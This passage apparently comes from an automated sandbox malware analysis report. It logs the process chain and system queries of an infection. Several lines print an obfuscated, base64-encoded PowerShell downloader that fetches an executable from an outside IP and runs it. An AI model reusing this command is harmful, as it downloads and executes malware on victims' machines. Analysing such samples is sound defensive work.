zcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC41B.tmp" "c:\Users\user\AppData\Local\Temp\ofvwqfjd\CSC42CCF8E8871B428699CAD148D9BC26FF.TMP" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC9F.tmp" "c:\Users\user\AppData\Local\Temp\ge3s1wmx\CSCB36078EA61014130AC1261969F8319D.TMP" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"
Source: InstallUtil.exe, 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: |Program Manager|
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDD5410 cpuid 11_2_000000013FDD5410
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: EnumSystemLocalesW, 25_2_00452036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 25_2_004520C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: GetLocaleInfoW, 25_2_00452313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: EnumSystemLocalesW, 25_2_00448404
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 25_2_0045243C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: GetLocaleInfoW, 25_2_00452543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 25_2_00452610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: GetLocaleInfoA, 25_2_0040F8D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: GetLocaleInfoW, 25_2_004488ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: IsValidCodePage,GetLocaleInfoW, 25_2_00451CD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: EnumSystemLocalesW, 25_2_00451F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: EnumSystemLocalesW, 25_2_00451F9B
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation Jump to behavior
